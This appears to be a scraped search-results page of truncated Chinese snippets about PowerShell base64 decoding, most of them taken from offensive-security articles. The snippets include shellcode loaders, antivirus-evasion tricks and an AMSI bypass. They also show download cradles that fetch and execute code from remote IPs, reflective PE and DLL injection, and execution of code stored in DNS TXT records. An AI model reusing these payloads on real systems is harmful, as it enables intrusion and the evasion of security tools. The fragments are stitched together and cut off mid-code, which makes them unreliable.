1 第一层 – Episode 1 这个字符串可以使用 CyberChef 来解码,其中包含大量用于编码和解码的小工具: 解码后如下: $s=New-Object IO.MemoryStream(,[...IP,可识别的端口号或像 DoEvilStuff() 和 DestoryTheResistance() 之类的函数,但在结尾处有一长串字符也许能探索出东西来: [Byte[]]$var_code = [System.Convert...]::FromBase64String("/OiJAAAAYInlMdJ..ENUFF_IS_ENUFF_I_QUIT..jEwOAA=") 同样用 CyberChef 来解码,如下图所示: 解码出来的已不在是...有时候使用正常的解码看不到 IP 地址,上面的示例非常简单,但是为了演示起见,可能会在 ShellCode 之后找到类似的代码: [Byte[]]$var_code = [System.Convert]...::FromBase64String('38u[Redacted_Chracters_CMjIyMg') for ($x = 0; $x -lt $var_code.Count; $x++) { $
SetImplementationFlags('Runtime, Managed') return $var_type_builder.CreateType() } [Byte[]]$var_code = [System.Convert...]::FromBase64String('此处为shellcode,太长就不复制出来了') for ($x = 0; $x -lt $var_code.Count; $x++) { $var_code...0x02 Powershell免杀 现在把FromBase64String改成FromBase65String,那就解决掉FromBase64String,直接改成byte数组。...$string = '' $s = [Byte[]]$var_code = [System.Convert]::FromBase64String('【cs生成的shellcode】') $s |foreach...使用上面方法,直接把FromBase64String改成FromBase65String。
格式应该如下 $payload='原先powershell.ps1中内容base64编码后的内容' $testforwindow=[System.Text.Encoding]::UTF8.GetString([System.Convert...]::FromBase64String($payload) If ([IntPtr]::size -eq 8) { IEX $testforwindow } 按照这种思路,也是可以上线的,但是免杀效果不理想...$payload1='原先编码的某一部分' $payload2='原先编码的另一部分' $testforwindow=[System.Text.Encoding]::UTF8.GetString([System.Convert...]::FromBase64String($payload1+$payload2) If ([IntPtr]::size -eq 8) { IEX $testforwindow } 按照这种思路我们进行了尝试...]::FromBase64String("+Long_str+")) \n") payload.writelines("If ([IntPtr]::size -eq 8) {"+'\n'
:---+Powershell JOB Payload+---Start-Job -scriptblock {iex([System.Text.Encoding]::ASCII.GetString([System.Convert...]::FromBase64String('JFY9bmV3LW9iamVjdCBuZXQud2ViY2xpZW50OyRWLnByb3h5PVtOZXQuV2ViUmVxdWVzdF06OkdldFN5c3RlbVdlYlByb3h5KCk7JFYuUHJveHkuQ3JlZGVudGlhbHM9W05ldC5DcmVkZW50aWFsQ2FjaGVdOjpEZWZhdWx0Q3JlZGVudGlhbHM7JFM9JFYuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LjIuMTE0OjQ0NDQvZ2V0Jyk7SUVYKCRzKQ...Process Payload+---Start-Process powershell -ArgumentList "iex([System.Text.Encoding]::ASCII.GetString([System.Convert...WindowStyle Hidden (HIGH):---+Powershell JOB + File Payload+---iex([System.Text.Encoding]::ASCII.GetString([System.Convert...=='))) ---+Powershell JOB + File +SCT Payload+---iex([System.Text.Encoding]::ASCII.GetString([System.Convert
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("xxx"));IEX (New-Object IO.StreamReader(New-Object...$enc=[System.Convert]::FromBase64String('base64编码字符串')for ($x = 0; $x -lt $enc.Count; $x++) { $enc
amsi"]); } 例子 运行 base64 编码的脚本 rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert...]::FromBase64String("BASE64")) ^| iex PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert...]::FromBase64String("BASE64")) ^| iex 注意:Empire stagers 需要使用 [System.Text.Encoding]::Unicode 解码 运行 base64
=END)");m = r.Match(wro.rawcontent);if(m.Success){ p = [System.Text.Encoding]::UTF8.GetString([System.Convert...]::FromBase64String(m.value));iex 记得在编码后的内容前面加上START和END这样方便匹配,然后powershell执行上面的语句 ?...m = $r.Match($wro.rawcontent);->正则匹配,创建变量m if($m.Success){ $p =System.Text.Encoding::UTF8.GetString(System.Convert...::FromBase64String($m.value));...}
"]); } 工具使用样例 1、运行Base64编码的脚本 rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert...]::FromBase64String("BASE64")) ^| iex PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert...]::FromBase64String("BASE64")) ^| iex 注意:我们需要使用[System.Text.Encoding]::Unicode对Empire Stager进行解码。
$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]+[char]+'Unicode.GetString([System.Convert...]'+[char]+[char]+'FromBase64String('+[char]+'YwBhAGwAYwA='+[char]+'))')))) 这一段是上面中<powershell_payload...powershell执行 先看第二个Invoke-Expression()中的内容 '[System.Text.Encoding]'+[char]+[char]+'Unicode.GetString([System.Convert...]'+[char]+[char]+'FromBase64String('+[char]+'YwBhAGwAYwA='+[char]+'))' 这一段等价于 [System.Text.Encoding]...::Unicode.GetString([System.Covert]::FromBase64String("YwBhAGwAYwA")) 他的作用是,将YwBhAGwAYwA这串base64转成字符串
fscan64.exe编码输出未txt文本程序 $PEBytes = [System.IO.File]::ReadAllBytes("fscan64.exe") $Base64Payload = [System.Convert...fscan_base64.txt进行base解码并从中还原处fscan64.exe $Base64Bytes = Get-Content ("fscan_base64.txt") $PEBytes= [System.Convert...]::FromBase64String($Base64Bytes) [System.IO.File]::WriteAllBytes("fscan_base64.exe",$PEBytes) Step
[Byte[]]$var_code = [System.Convert]::FromBase64String('bnlicXZrqsZros8DIy 例如: $ EncodedText =“VABoAGkAcwAgAGkAcwAgAGEAIABzAGUAYwByAGUAdAAgAGEAbgBkACAAcwBoAG8AdQBsAGQAIABiAGUAIABoAGkAZABlAG4A...” $ DecodedText = [System.Text.Encoding] :: Unicode.GetString([System.Convert] :: FromBase64String($
PowerBreach的DNS TXT方法 要执行的代码必须是存储在TXT记录中的base64编码的字符串 IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert...]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0])))) <#
+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField...($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA...function b64decode { param ($encoded) $decoded = $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert...]::FromBase64String($en coded)) return $decoded } $1 = b64decode("U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM
# 编码 $bytes = [System.Text.Encoding]::Unicode.GetBytes("weiyigeek") $str = [System.Convert]::ToBase64String...echo $str # 解码 $str = "VwBlAGkAeQBpAEcAZQBlAGsAZQByAA==" [System.Text.Encoding]::ASCII.GetString([System.Convert...]::FromBase64String($str)) [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String
Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert...]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../..
"; } if ($ByteArray) { $Base64String = [System.Convert]::ToBase64String($ByteArray...New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/res.txt") 靶机解码payload $PEBytes = [System.Convert...]::FromBase64String($InputString) 反射调用 Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR msf
\ReflectivePick_x64.dll -Encoding Byte $Encoded = [System.Convert]::ToBase64String($Content) $Encoded...$dllData = "DLLBASE64_GOES_HERE" $ProcId = (Get-Process explorer).Id $Bytes = [System.Convert]::FromBase64String
=END)");$m = $r.Match($wro.rawcontent);if($m.Success){ $p = [System.Text.Encoding]::UTF8.GetString([System.Convert...]::FromBase64String($m.value));iex $p } 链接在一起的多个命令由分号分隔。...if($m.Success){ $p = System.Text.Encoding::UTF8.GetString(System.Convert::FromBase64String($m.value))...上图:如果在 m变量中找到任何模式,则解码(FromBase64String)字符串并将其设置为 p变量。 iex $p 上图:使用Invoke-Expression(iex)执行 p变量。
领取专属 10元无门槛券
手把手带您无忧上云